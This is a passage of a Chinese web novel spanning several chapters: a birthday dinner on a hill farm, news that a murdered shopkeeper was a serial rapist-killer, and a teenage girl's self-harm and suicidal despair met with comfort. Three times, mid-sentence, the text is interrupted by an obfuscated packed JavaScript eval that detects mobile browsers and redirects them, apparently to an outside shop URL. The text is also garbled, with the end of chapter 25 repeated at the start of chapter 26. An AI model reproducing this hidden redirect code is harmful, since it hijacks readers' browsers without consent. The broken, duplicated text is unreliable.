终于有一个关于旧时代的知识点是丁聪聪知道的: “孙燕姿?”他问小宝,“不就是你家墙上挂的那个?” 小宝直点头,开心地告诉大人们:“我也喜欢孙燕姿!” “谁能不喜欢呢?”光头回忆,“她那时可红了!什么点歌台,音乐榜,都播她的歌!”说着感慨,“那时候出个流行歌,电视上的节目会很认真介绍来着。可惜现在没那种节目了,歌也是乱听。” 说到“歌乱听”,福娃看向正玩游戏的某人: “洪哥,你都加了些什么串烧在望哥的收藏里?昨天突然放出来,搞得他当场骂人!” 洪运连听完大笑:“真的假的?”说着还调侃,“看我对我徒弟多好?听他那个歌单,我白天开车都能睡着!” 蔡云深好奇:“于岳望是你徒弟?” “是啊,”洪运连告诉她,“他所有维修技术都是跟我学的!” “那你叫他老大?” “他是他家大哥嘛,”洪运连说,“但其实呢,我在我家也排老大,所以我们刚认识时,他也叫我老大。这并不矛盾,就像有时候他是我爸,有时候我是他爹。” 还要夸夸其谈,被福娃咳一声提示。是于岳望端菜来。 洪运连赶紧闭嘴,继续玩他的游戏。 菜又上了两道,生日宴的主角小唐才出现,一脸急色。 蔡云深:“怎么了?” “钥匙扣不见了!”小唐一把抓住这一桌唯一理解她的人求助,“Precious!” 蔡云深马上意识到重要性:“怎么会不见的?”又说,“不对啊,你们去摘梨子的时候,包不是留在这儿吗?” “就是因为有人动了包!”小唐着急,“我刚上厕所出来,想拿东西,就发现钥匙扣不见了!一问,原来是那个杨婆婆把包搬进了室内,”说着生气,“我分明记得,去摘梨前,我的钥匙扣都还在的!肯定是被她搬丢的!我刚才找了一大圈都没有!” 刚还在开心的小宝一听奶奶被怪责,神色瞬间黯淡。 丁聪聪见状,帮着出声: “杨婆婆收你们的包是出于好意,因为鸡回来了!她肯定是怕鸡弄脏你们的东西,才搬进房间的!她那么喜欢你,还把茉莉花串送给你,你怎么能怪她呢!” 小宝也着急:“对,姐姐你的钥匙扣长什么样子,你告诉我,我和奶奶肯定会帮你找回来!” 丁聪聪:“就算找不到,赔你就是了!不就是个钥匙扣?” 小唐本来不想再说,却被这一句激怒:“那不是普通的钥匙扣!”她生气,“那是泰川限量CD的周边!以后不会再发行的!” 丁聪聪一愣。 旁边的洪运连游戏也不玩了,帮着解围: “或者试试蹲二手平台?”他说,“不过明星周边,还是那个正当红的泰川……就算抢得到,估计也要高价。” 还想说什么,杨婆婆端着汤过来。 小唐再不开心,也收起脸色。什么都不说,先吃饭。 今晚一桌菜都是农家味道,鸡鱼现杀,野菜现摘,胜在一个鲜字。一桌人这半天各有各的忙,都又饿又累,吃起饭如风卷残云。 眼看差不多了,蔡云深给于岳望使眼色。两人再出现时,带着蛋糕。 随后点蜡烛,一桌人给小唐唱生日歌,她完全呆住。 歌唱完,大家催她许愿。她却说,不用许了。因为她生日早过了,而且她当时许的三个愿望有一个已经实现,就是来这飞燕山。 “真想不到来我们这小山坡还能成愿望?”金雨虹奇道。 “是啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148591|195002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,”洪运连也说,“这里地方偏,好多江安本地人都不一定认得,也不是什么网红打开点。” 被小唐饭前一通抱怨、却对此一无所知的杨婆婆,此刻关心她: “你是滨城人,怎么会听说飞燕山的呢?” 看着和蔼的老人,小唐心情复杂,只答: “我是从一个朋友那……” “那我估计你那朋友保准是江安人!”洪运连道,“甚至很有可能就住在天心!” 话音未落,啪的一声。 蔡云深一看,发现是丁聪聪撞了旁边的光头,令他一个没端稳,瓷碗落地。 被包括小唐在内的所有人注视着,丁聪聪更慌乱,躲桌下捡碎片,结果把手割破。 光头见状忙拉着他去包扎,金雨虹过来收拾残局。 而小唐,则若有所思看着离开的人。 默默把这一切看在眼里的蔡云深根本掩藏不了神色,担忧地看着小唐。好一阵,才注意到坐对面的于岳望正看着她。 那眼神仿佛是在说,冷静点,别暴露。 蔡云深埋头,忐忑地咬蛋糕。 饭吃完,大家准备开车往山上走,去福娃推荐的地点看日落。然而于岳望那辆老爷车可驮不下那么多人,于是三蹦子再度登场。 原本洪运连决定垫后。光头手里还有点工作,说好等他忙完,两个人坐三蹦子上来。 然而还没上车,蔡云深手机先作响。 看到来电人,她又惊又喜—— “莎姐!” “云深。”魏莎的声音听上去还是那般温暖,“回家一切好吗?”女人关心她。 “很好,”蔡云深透过墨镜看远山,“我今天,在某座荒山上喂了一下午的鸡。” 电话那边果然传来笑声,蔡云深也跟着笑: “我不是打广告,但这家的山地鸡是真的好吃!从小吃益生菌长大!” 玩笑开完,蔡云深才问—— “你呢,最近还好吗?” “老样子,”魏莎说,“新来的助理到现在都还需要磨合,总让我想,要是你在就好了。你啊,有让人依赖的魔力。要不是因为你身体需要调养,我才不管公司,自费也要留你当助理!”又告诉她,“雯雯也是,常说想你……倒不是说新助理不好,只是我们更喜欢你。” 雯雯是魏莎的女儿。蔡云深就是去接送她,才结识了杜保行。 一想起那个惨死的中年男人,她的心又陷入阴影。 听她不吭声,魏莎仿佛知道她在想什么。 “云深,今天的热搜你看了吗?关于杜保行的。” 听到这个名字,蔡云深僵在原地,“我没注意。” 离开滨城以来,她就和自己曾经忙碌的日常脱钩了,也因此告别纷扰的世事。 所以,魏莎接下来的话才令她那么震惊: “那就是个恶魔啊,”女人说,“他活该被杀。” 蔡云深的脑海一霎空白。 大部队就要出发,大家喊她名字,她却无心顾及。 跟魏莎说稍等下,蔡云深去找洪运连,让他先走,换她留下。 人安排好,她便独自离开,朝着清静处疾步—— “莎姐,你继续。” 25. 落霞时 对25岁的杜毅而言,比起私底下动不动打人的杜保行,将他视如己出的后妈和可爱的继妹,反而给他更多家的感觉。 妹妹被带进这个重组家庭时才2岁。他看着她长大,感情甚笃。今年三月退伍回家。关于未来,杜毅原本有很多规划。 却撞见自己的亲生父亲侵害小妹。 “妻子两年前病逝后,杜保行就一直……那个孩子,杜毅的妹妹,今年也才16岁……” 在愤怒中,杜毅失手杀人。反应过来后趁夜雨处理了尸体,把妹妹送回继母的故乡南城。然后自己踏上逃亡路。 被捕以来,在一片对他弑父的讨伐声中,杜毅始终不谈杀人动机。 最终是妹妹不顾家人劝阻,对警方说明了真相。 事件突然反转,舆论也随之哗然。就在这时,滨城警方公布了另一个令人震惊的事实: 早在杜保行的尸体发现不久,警方通过DNA比对,就已经确定他跟好几桩奸杀悬案有关—— 最早的犯案追溯到1999年。 蔡云深听到这,倒吸一口冷气。 “云深,你知道我看新闻的时候,心里想的是什么吗?”电话那头的魏莎说,“我想多亏天有眼。这样的畜生死一千次、一万次都不足为惜!我一想到雯雯还去他那买过东西、跟他说过话……我就全身发抖。” “小卖部虽然关了,但雯雯每次走过那里,还是会害怕……所以今早,看到杜保行这些事,再联想雯雯的反应,我当即就去问她在小卖部,有没有发生过不好的事?幸好她回答我说,没有。她说每次去,都有你陪着她、保护她。你知道我听到这个的时候,有多感激你吗?” “我知道,你一直因为没接杜保行最后那通电话而愧疚。但我以前就跟你说,这根本不算错!即使杜保行不是这样一个罪该万死的人,他的死跟你依然没有一点关系!现在回看,我更庆幸,庆幸你那天没接电话,不然说不定连你也陷入危险!……” 蔡云深还在震骇中说不出话。 那样一个人,看上去与普通人无异,那么平凡。 “云深?” “抱歉莎姐……”回过神来,蔡云深第一时间关心,“这件事雯雯也知道了?她还好吗?”原本事发后雯雯的状态就不好。 “我刚才告诉她了。”魏莎却说,“比起从其他途径听说,不如由我来传达。她的反应比我想象中平静。” 女人说到这,再次感激她:“谢谢你当时建议我让雯雯转学。现在这新闻出来,家长群都疯了……幸好我们在暑假前就完成了手续……”魏莎说着告诉她,“我刚把雯雯送去她姨妈那,明天她和表妹会去近郊度假散散心。等她回来,我们开开视频好吗?她想跟你说说话。” 蔡云深心绪万千,“好。” 之后魏莎沉默片刻,再艰难还是跟她开口:“……赵宇最近来找过我。问有关你的事情。看起来,你没有告诉他你的新手机号?” 没有。就连回江安这件事也没有告诉他。 魏莎闻言明白了。“你还拉黑了他的微信?” 蔡云深:“嗯。” “……云深,”魏莎告诉她,“他跟那个实习生,最终也没在一起。他说他想找你谈谈……我,要不要把你的电话告诉他?” 蔡云深想也不想:“不要,莎姐!”她央求,“也求你不要告诉他我去了哪!” “……好吧,其实你……”说到一半又放弃,“算了,不提那些有的没的。你好好休息,身体才是革命的本钱。”最后只说,“对了,我朋友有个视频想找人帮忙剪,我能把你推给她吗?” 听到这句,蔡云深打起精神:“当然!”她告诉魏莎,“莎姐,我目前还是无业状态,任何商单都接的!” …… 这通电话结束,蔡云深的心难以平宁。 思绪正放空,有人叫她,竟是小唐等在凉亭。 她为什么没跟大部队走? ——连看日落都不积极,一定有什么问题。 “云深姐姐,你今天好像整个人都很悠闲。”刚落座,少女就这么对她说。 蔡云深听出弦外之音,但还是打算先装傻: “来山上玩,悠闲不是很正常吗?” “可你之前不是这样,”小唐低着头说出她的观察,“自从你答应帮我,你一直都热心。时不时就给我发信息、打电话,告诉我新进展,或是你的新猜测……但是,昨晚你跟于叔叔分开行动后,你就再没联系过我……直到现在。” 蔡云深不禁再次感慨起小唐的细腻。 “你们昨晚支开我和福娃,其实是为了去查其他线索,对不对?因为我们两个当事人在,你们不方便。”少女敏锐地指出,“今天上山后也是,你们两个一直黏在一起,还互相使眼色……每次我叫你,你就一副心事重重、不知道该怎么面对我的样子。” 话说到这,小唐直接问她—— “你们已经查出谁是暗黑了,对吗?” 蔡云深像个做错事被抓到的小孩。 偏偏她最手足无措时,队友不在。决定了得由她独自面对。 还没想好怎么说才稳妥,小唐又摆出她的推断:“那个人,是不是今天也在飞燕山上?” 蔡云深惊讶。 一个表情就出卖了她,聪明的小唐什么都看出来。“不会吧?”她情绪失控,“暗黑……真的是那个光头叔叔?!” 蔡云深反应了一会儿,才明白小唐指的是养鸡场那个光头员工,“不是的!”她连忙否认。 “那是那个一直玩泡泡龙的?” “……也不是……” “难道是女人?”小唐越猜越离谱,“金阿姨?!” 蔡云深摇头。 “剩下的只有比我还小的孩子……!?” “……” 小唐难以置信:“王家宝?” “不是。” “丁聪聪?!” “……” “怎么可能?他……” 蔡云深还以为小唐跟她一样误解:“丁聪聪开学念初三……他其实只比你小2岁。” “我知道他多大!”小唐却说,“但他比我还矮,说话也很幼稚!”她完全无法接受,“暗黑不一样,暗黑是非常成熟的成年人!他很稳重,还温柔!……” 蔡云深叹息一声。 “你和暗黑的聊天我也看过一些……你想听我作为一个路人的想法吗?” 小唐沉默。 蔡云深还是把话说下去:“在我看来,暗黑就是个成天把‘游戏’挂嘴边小朋友……你觉得他‘成熟’,只是因为他游戏玩得不错,愿意带你,还用了福娃的信息……” “不仅是这样!”小唐伤心。 夏末的山谷迎来落霞时分。天空一片绯色,空气中竟有了些许凉意。 站在她面前的少女对她敞开心扉: “我从小就讨厌自己,因为我特别胖,特别丑……我弟弟却跟我不像,他很可爱,家里人只喜欢他,不喜欢我。女生嘲笑我,男生欺负我……就连喜欢的人也讨厌我……他说被肥猪喜欢上,真恶心。他看我时厌恶的眼神,我到现在都记得。” 蔡云深听得满心怜惜。但她怎么都认为小唐不丑,比她可爱多了;而且小唐只是微胖,远不到“特别”的程度。 然而接下来小唐就说,初中毕业那年,她决心减肥。饿肚子试过,运动试过,买减肥药也试过…… 各种艰辛,才变成现在的样子。但即使如此,有心或无意的嘲笑还是会有。 她们这样的人,总是会逃到网上:在这里,没人会诟病长相。 因为喜欢泰川,小唐找到小太阳的线上组织,跟大家一起签到、一起打投,还交到了朋友。 就是在粉丝群被安利了那款手游,能跟朋友一起玩游戏很开心,更何况在里面,她还认识了暗黑。 “原本我和暗黑不熟,但六月的时候,发生了一件事。” 小唐家境优渥,平时零花钱不少,但父母对她关怀是极少的。 两个月前,他们闹离婚。那一天,争吵的双亲不再遮掩,都说自己想要弟弟、不想要她,并在争执中把她推给对方。 “其实我早就知道他们怎么想……但听他们亲口说出来,还是很伤人。” 那一天,她躲进了游戏。碰巧暗黑在线。就这样,未曾晤面的陌生人成了她的树洞。 “他真的很好……每次带我都很有耐心,看了我的照片态度也没变化……他说美丑不在外表,一直攻击别人的人才是真的丑;他问我减肥后变得更健康、更开心了吗?如果是,就坚持……他说小小年纪,别总把死字挂在嘴边……他问我生日为什么不过?这是个好日子,只要活着,就要庆祝。没人陪?那我陪你,说好了!……” 回忆至此,小唐的眼眶泛红。 “云深姐姐,我可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157896|195002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没法去看日落了……”她说,“他应该早就看出我是谁吧……他失约一定有原因,我却跑到现实里来打扰,还区别对待他和福娃……明明深受其害,我却也以貌取人……” 说到这里,少女的头沉得更低,歇斯底里—— “像我这样的垃圾,真不如死了算了……” 蔡云深想出声安慰,却在这时听到杂音—— “好丢人啊,不如死了算了!” “死什么死,至少活到28岁吧。”…… 脑海中的画面又开始失序闪回,伴随着一阵尖锐的头疼—— “28岁有什么好?” “28岁,这本书就会出版。里面会记录我们的故事。” “真能想,你打算用什么名字写它?” “就用那首歌当名字,怎么样?” …… 这是什么片段?谁的记忆?说话的又是谁? 又或者,人真的有前世? 啊。 早知道就该看看杂物间里那篇笨蛋周记,《我的前世》。 …… 头痛欲裂,也无法顺畅呼吸。她像一个溺水的人在黑暗中下坠,没有光,也没有温度。 直到听到有人叫她—— “云深姐姐!” 蔡云深从幻象中清醒,发现自己倒在地上。小唐正笨拙却努力摁她胸腔—— “我求求你!” 少女跪在落日的辉光中,身影宛如燃烧的云霞。令她忍不住抬手,为她拭去因焦急落下的眼泪。 “你醒了!太好了,你没死!”小唐一边哭着感慨,一边珍惜地捧过她的手。一直穿着的长袖也在这时褪去,露出脉搏处的伤痕。 “……我们真傻……”望着身披霞光的人,蔡云深轻声感慨,“在意外表,在意评价,在意他人的爱憎……唯独不在意自己。” 说到这,她温柔地抚摸那些触目惊心的伤痕,“可是你明明还这么小……既聪明,又善良,甚至愿意为我这样一个无关的人掉眼泪……”她真诚地告诉此刻被夕辉包围的人—— “小唐,你的灵魂闪闪发光,连灰尘都没有沾染……非常地美丽。” 少女温热的泪水落到她脸庞。 “这个世界有为掠夺发动战争的人,有将他人生命视若草芥的人,有将手伸向孩子的人……他们都不觉得自己该死,想尽办法逃避死亡,并且活得心安理得……”她对小唐说,“而你,明明比他们都高尚,却想着死。” 蔡云深一边说,一边继续帮她揩泪水:“你是重要的,也是必要的,只有你这样的人多一些,人才看得到希望。所以别苛责自己。你有资格,也一定要比那些坏家伙活得好……你的存在很宝贵。这种宝贵,不需要用别人的爱来证明。” 小唐听到这,终于委屈地大声哭出来。 蔡云深坐起身,抱住她。 哭了好一阵,渐渐平息的少女满脸泪湿地问她: “云深姐姐,你的墨镜能借给我吗?” 蔡云深答当然可以,潇洒地取下墨镜递给少女。 看到她乌青的双眼,小唐一吓。 等的就是这个反应,蔡云深爽朗笑出声,“割了眼袋还没恢复,”她边笑边跟小唐解释,随后跟她打趣—— “被我丑到了吧? “没有,姐姐,”红着眼睛的人把墨镜还给她,“你很美……因为你的灵魂,也闪闪发光。” …… 三蹦子的声音在山间回荡。蔡云深和小唐坐车上,远远看见前面停着那辆面包车。 路没有了,光头带她们从小路走下坡。一转角,豁然开朗—— 居然有溪谷。 蔡云深怔住,因为溪涧之间,夕阳正映照着一大片开着白花的芦苇。 “唐曲——!这里——!” 是丁聪聪和福娃在对岸招手。于岳望站他们身旁,一副老神在在、功成身退的样子。就像他该交代的、不该交代的,都说清楚了。 蔡云深也交作业,轻拍小唐:“比起丢人,错过这一刻不是更可惜吗?”她跟少女说,“快去吧!来都来了,就当做一个梦。” 小唐点点头,走两步发现她没跟上,又回首。 “我留在这边看看,”蔡云深指岸旁的芦苇,“待会儿过去跟你们会和!”她朝小唐喊。 见小唐终于离开,她微微一笑。 随后,蔡云深转身走向苇草丛。 26. 苇草丛 少女温热的泪水落到她脸庞。 “这个世界有为掠夺发动战争的人,有将他人生命视若草芥的人,有将手伸向孩子的人……他们都不觉得自己该死,想尽办法逃避死亡,并且活得心安理得。”她对小唐说,“而你,跟他们完全不同,却想着死。” 蔡云深一边说,一边继续帮她揩掉泪水:“你是重要的,也是必要的,只有你这样的人多一些,人才看得到希望。所以别苛责自己。你有资格,也一定要比那些坏家伙活得好……你的存在很宝贵。这种宝贵,不需要凭借别人的爱来证明。” 小唐听到这,终于委屈地大声哭出来。 蔡云深坐起身,抱住她。 哭了好一阵,渐渐平息的少女满脸泪湿地问她: “云深姐姐,你的墨镜能借给我吗?” 蔡云深笑着答当然可以。潇洒地取下墨镜递给少女。 看到她乌青的双眼,小唐一吓。 等的就是这个反应,蔡云深爽朗地笑出声,“割了眼袋还没恢复,”她边笑边跟小唐解释,随后就跟她开玩笑—— “被我丑到了吧? “不,姐姐,”红着眼睛的人把墨镜还给她,“你很美。因为你的灵魂,也闪闪发光。” …… 三蹦子的声音在山间回荡。蔡云深和小唐坐车上,远远看见前面停着那辆面包车。 路没有了,光头带她们从小路走下坡。一转角,豁然开朗—— 这里有一片溪谷。 蔡云深惊讶地怔住,因为溪涧之间,此刻,开着白花的芦苇正映照夕阳。 “唐曲——!这里——!” 蔡云深一看,是丁聪聪和福娃在对岸招手。于岳望站他们身旁,一副老神在在、功成身退的样子。就像他该交代的、不该交代的,都说清楚了。 蔡云深也交作业,轻拍小唐的背:“比起丢人,错过这一刻不是更可惜吗?”她跟少女说,“快去吧!来都来了,就当做一个梦。” 小唐点点头,走两步发现蔡云深没跟上,又回首。 “我留在这边看看,”蔡云深指岸旁的芦苇,“待会儿过去跟你们会和!”她朝小唐喊。 见小唐终于离开,蔡云深一笑。 随后,她走向苇草丛。 以前也到过类似的地方。那是刚进前公司不久,去湿地公园拍视频。那里有一处人工湖,湖堤边也遍是芦苇。 冬日白雾正浓,一眼望去一片雪白。蔡云深停下脚步,因为那个梦。 就像被谁呼唤着,那个时候,她也同样无法自已地朝着梦走去。虽然不清楚在那个梦里,自己一直苦苦追寻的究竟是什么。但是在白茫茫的草丛中,她心里确实升起了古怪的、类似于乡愁的感触, 总觉得苇草深处,有人在等她。 等她回过神,一起拍摄的人早离开。唯留她在湖畔,无人知晓地。 连忙调头,拿出电话一边拨,一边试着找回原路,却越走越迷失方向。 就是这时候,一片雾白中,有人拨开苇草朝她步近。就像是从她的迷梦里走出来、找到她—— 是赵宇。 回想起来,那就是她喜欢上他的决定性时刻。 他是个严肃的人,但也有像孩子一样的时候,会跟她撒娇,说云深,抱抱我,需要充电。她便会笑着抱紧他; 他还很喜欢她那个时候,会绕半座城去买她喜欢的甜点;生病时守在她床前,担心到整夜都没法合眼;出差回来的飞机在凌晨三点到达,赵宇也等在机场,见她出来笑着起身,然后几步上前紧紧拥住她…… 他说婚礼就定在夏天,好吗?真希望属于我们两个人的夏日永不终结。 他说第一次跟她提结婚的时候,真的很紧张,发挥得也不如预期……但是云深,我是真的希望你能嫁给我。 他问或许,你有恋爱的打算吗?如果有,考虑一下我?……先不要那么快做决定,如果要拒绝,能不能迟点再告诉我?拒绝没问题,但是求求你,不要因此就不和我做朋友。 …… 他说,蔡云深,你这么在这?迷路了? 幸好,是我找到你。 …… 蔡云深戴着墨镜留下一滴泪水。 然后,她想起更早的时刻。 那是进公司第几天,赵宇迎面走来。要擦肩前她鼓起勇气,恭敬地招呼说赵总,早。 他说早啊,蔡云深。说完便笑着看向她。 那时她很惊喜,因为隔壁部门的上司竟然已经记得她名字。他离开后,她还曾悄悄在洒满阳光的走廊上回头,偷看他背影。 男人走进阳光中的样子,她至今仍记得。 …… 蔡云深藏在尽染夕辉的芦苇丛中。不知过了多久,她听到一阵足音。 有人来了。会走向她、找到她,然后带她走。 黄昏中,那个人的指尖拨开苇草。 “在这干嘛?”居然是福娃。 蔡云深转头,就见年轻男人一边过来,一边对她绽开灿烂的笑脸。 被这笑容感染,蔡云深红着眼睛也笑了笑。庆幸墨镜把自己的失意掩盖地很好,她答: “发呆。” “对着芦苇发呆?” “……哈哈,”被这么指出,蔡云深感慨,“人到了一定年纪就这样,对着花花草草也能发呆。” 福娃却咋舌,“又在我面前装大人。” 蔡云深感觉自己复活了一半,再次跟男人强调: “我本来就比你大8岁!” “但你看上去跟我差不多啊。” “什么看上去?”蔡云深说他,“我一直戴着墨镜,你小子连我真正的样子都还没见过吧!还看上去?” “你的照片我都看了多少年了?还叫没看过?” “以前是以前,现在是现在!” “反正我觉得没差,说你是大学生人家也不会怀疑!” 哇,交际花的杀伤力真的很可怕。夸人夸得这么自然,她会当真的。 沉沦在过去的心也抽离了大半,就听男人问她: “云深姐,为什么你以前都不回天心?” “我家住城里啊。家都不在天心,回去干什么?” “也是……”福娃带着她一边朝对岸走,一边问,“那现在你在天心有家可回了,会一直住下去吗?” 说起未来,蔡云深内心一片茫然。 “我希望不会。”她看着落日心情复杂地说。 福娃叹气。 “你叹什么气?”蔡云深有了开玩笑的心情,“干嘛,舍不得我?” “对啊,”福娃毫不遮掩,“难得跟你变熟了,而且我的黑历史只告诉了你……哎!还想着以后周末回来可以找你一起玩呢……毕竟再过几天,我就开学了。” 蔡云深骤然被拉回现实—— 眼前这家伙是个还能享受暑假特权的小屁孩,跟她可隔了万重山。 “其实,每年夏天结束,我都会难过很久。”这小屁孩说。 蔡云深笑一声。“难过什么?因为九月要开学?” “是,但又不仅如此。”福娃告诉她,“夏天结束的时候,我总会感觉好像有什么东西丢失了,我留不住,也再也找不回来。” 这下蔡云深不笑了。因为,她感同身受。 这是个令人心怦然的季节,当它结束时,就像魔法中止。在无尽的遗憾中,浪漫与美梦褪去,炽热也将冷却。 “夏天结束了……”年轻的男孩在她身后落寞地说,“然后,你也要离开。” “放心,我还没那么快走,”想到自己的怪病蔡云深就烦,“说不定我还需要在701赖很久。到秋天?甚至冬天……” “真的?”福娃的双眼一下亮开,“那是好事啊!好事!” 才不是呢。 蔡云深一步踏出草丛,“真羡慕你啊,无忧无虑。” “又开始了,”福娃追上来,说她,“天天装成熟会老得很快!” 蔡云深被逗笑,“谢谢你提醒我噢,小弟弟。” “什么小弟弟!”这人还急了,“你再这样我直接叫你蔡云深了!” “随你啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173351|195002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,开心就好。” 懒洋洋地说完,突然想到: “对了!”她问福娃,“于岳望有没有跟你……说什么事?”说丁聪聪就是暗黑? 福娃盯了她一阵:“有也不告诉你!” 蔡云深刚想追问,就看见前面说好了要欣赏日落的众人,没上演青春热血剧、手拉手看天际就算了,居然连夕阳下的奔跑都没有,此刻全像靶子一样杵在那,埋头向野草。 蔡云深好奇地跑过去,凑近往里瞧—— “在看什么啊?” 见是她来了,小唐开心地告诉她:“有鸭蛋!” 确实,草丛里有一窝蛋。蔡云深看完赞赏:“看着好漂亮啊!”她说,“拿回去做咸鸭蛋一定很好吃!” “不是吧云深姐!”蹲着的洪运连震惊回头,“你把这些蛋抢走吃掉,鸭妈妈回来找不到孩子,该多难过!” 蔡云深完全没想到满脑袋泡泡龙的家伙竟说出这种话。再一看,几个小鬼此刻也用谴责的目光看着她。 赶紧举起双手、息事宁人—— “我错了,不吃,留着?” 话是这么讲,但她想,这种野外地方,随便出个什么变故,这些蛋都得烂成一滩。 孩子们小心翼翼把蛋掩藏好,之后才开始笑闹着聊天,拍照。大人们则沿着溪谷散步—— 唯独于岳望那家伙,没一会儿就说自己回面包车等大家。 他走了,蔡云便盯上洪运连。从后面过去轻拍他肩膀。 “云深姐?”正打算跟光头点一根的洪运连回头,见是她,惊得烟差点落地下, “你找我?” “嗯,”蔡云深道,“我有点事想请教你……等你抽完烟?” “说什么请教啊!”洪运连立刻把烟一收,“不抽了,走!” 把光头抛下,洪运连热情:“老大的事你问我就对了!”他拍胸脯,“想知道什么,我都告诉你!” “我不是要问你老大,”蔡云深却说,“我想问的是关于残梦音像的事。” 洪运连闻言瞬间理解:“你果然对他们的招聘感兴趣?” 蔡云深完全没想到这一出—— “招聘?什么招聘?” 洪运连反而奇怪:“刚才我看见福娃去找你,不是去跟你说这个吗?” 原来蔡云深到之前,洪运连跟福娃闲聊,问起蔡云深的职业。福娃说是给网红做助理的。 洪运连闻言想起残梦音像最近还在招人,包括这样那样的助理—— “福娃当时还说,感觉你会很适合。” 蔡云深完全没想到还有意外收获,不过,“我原本想问的问题可比招聘什么的基础多了……”她说,“我只是想确定,那家音像店,是不是跟一个同名的音乐公司有关系?” “对啊!”洪运连告诉她,“那家店就是残梦的老板开的。所以平时除了一般客人,还有很多他们签约的音乐人也在那进出。” 听到“他们”这个用词,蔡云深问:“你不是残梦音像的员工?” “我不是,我是楼上鸿运通的人。不过我没什么事的时候,也下来顺手帮他们看看店,”洪运连说着奇怪,“老大没告诉你?” 蔡云深:“没有。” “那你最好去问他本人,”洪运连笑,“要论跟残梦的关系,他可比我这外人深多了。” 什么意思。 还想再问,但看洪运连那表情,是不打算说下去的样子。那么换下个问题: “你说残梦要招人,在哪可以看到相关信息啊?” “他们社交平台上都有,”洪运连建议,“要不你加我,我推给你?” “好啊!” 手机拿出来,想起于岳望要求跟她兑现人情,让她暂时别找工作。 于是跟洪运连说:“我打算去应聘这件事,还希望你暂时不要告诉于岳望。” 洪运连神色复杂:“要我对老大保密?” 蔡云深点头,“对。” 洪运连被搞得越来越好奇:“那我也想知道,你和老大究竟是什么关系?” 27. 换季病 “怎么可能,”蔡云深以为他开玩笑,“真是弟弟的名字他不会有意见?被你们这么乱用。” “或许有?”这人笑着答,“我倒是希望他亲口告诉我。” 话刚到此,一阵闪电亮起。 看来又要下雨了,蔡云深望着天空想。 一行人回鸡场后下山,暴雨已落得暗无天日。雷鸣大作,颇有要将世界翻转一面那气势。 本以为至少下过通宵,没想这雨来得快去得也快。到十一点就匆匆收尾,只剩屋檐落滴声。 于岳望关上窗。 坐回电脑前,继续浏览一个名叫“当时明月在”的论坛。 这个论坛是因为推理小说家书笑建立的—— 《盛夏的果实》正是其最新作品。 在书笑的小说中,大学生陈明月搭建了一个推理爱好者论坛,名字就叫“当时明月在”,用来讨论各类推理小说和刑事要案。 某天,一桩旧案的模仿犯突然在当月论坛上发预告杀人的贴子。关于这个模仿犯的故事,就是书笑第一本小说所讲述的内容,也是主角陈明月作为业余侦探破获的首起案子。 故事先在网络连载,几年前推出了实体版。 就是在实体书发行之际,“当时明月在”这个原本只存在于书中的论坛竟然被人复制,搬进了现实。有人说是书迷干的,也有人说是书商营销。 无论如何,几年过去,现实里的当月论坛也变得跟小说里一样,既讨论推理作品,也讨论各类大案。因此这里除了书笑的书迷,还有不少成分成谜的用户。 于岳望滑动鼠标: 今天最受关注的话题,无疑是霸占了一整天热搜的滨城弑父案。对这个案子,他原本并没有太多关注。 但是不久前,于岳望接到了一通电话。 刑警李久安告诉他,他们追查多年的“雨夜幽灵”有下落了: 弑父案的被害者杜保行,竟然跟凶手的DNA比对一致。 不仅如此,警方还在杜保行家搜出的奇石中,验出99年到03年间,三起悬案受害者的DNA。 其中两起是在杜保行在南城犯下,第一起却是他在老家江安犯的,当时被误归为“红十字杀人魔”的相关案件结案。 “红十字杀人魔”娄宏富,江安人。1989年到2000年间,娄宏富先后作案十余起,致使多名受害者惨遭奸杀,其中以未成年少女居多;于2003年被执行死刑。 然而七年后,在距离江安千里以外的南城,“红十字”再次出现—— 跟娄宏富的作案手法不同,这个凶手的犯罪现场处理得极其干净,且总会选择在雨夜的荒郊行凶。但娄宏富作案时两个明显特征——割开受害者颈部、并在其胸口留下巨大十字型刀伤,都被此人刻意模仿,颇有要向其致敬的意味。 之后的两年间,同样手法的案子在南城先后发生了四起,其中两起手法尤其残忍,且受害者年龄极幼。这个红十字杀人魔的致敬者、丧心病狂的奸杀犯反侦察能力极高,在技术手段进步的现在,竟然能接连作案仍逍遥法外,宛如鬼魅一般;再加上他总是雨夜出现,因此被称为“雨夜幽灵”。 2012年后,雨夜幽灵停止作案,直至今日—— 或许是因为,他意识到自己不慎在最后一次犯罪中,掉落了毛发。 正是这些毛发,最终指证杜保行。 “现在,南城那边也开始重新比对手里的悬案,包括凌花音那个案子,”李久安告诉他,“结果出来还要段时间,在这之前,你先暂时不要……” 于岳望:“我明白。” 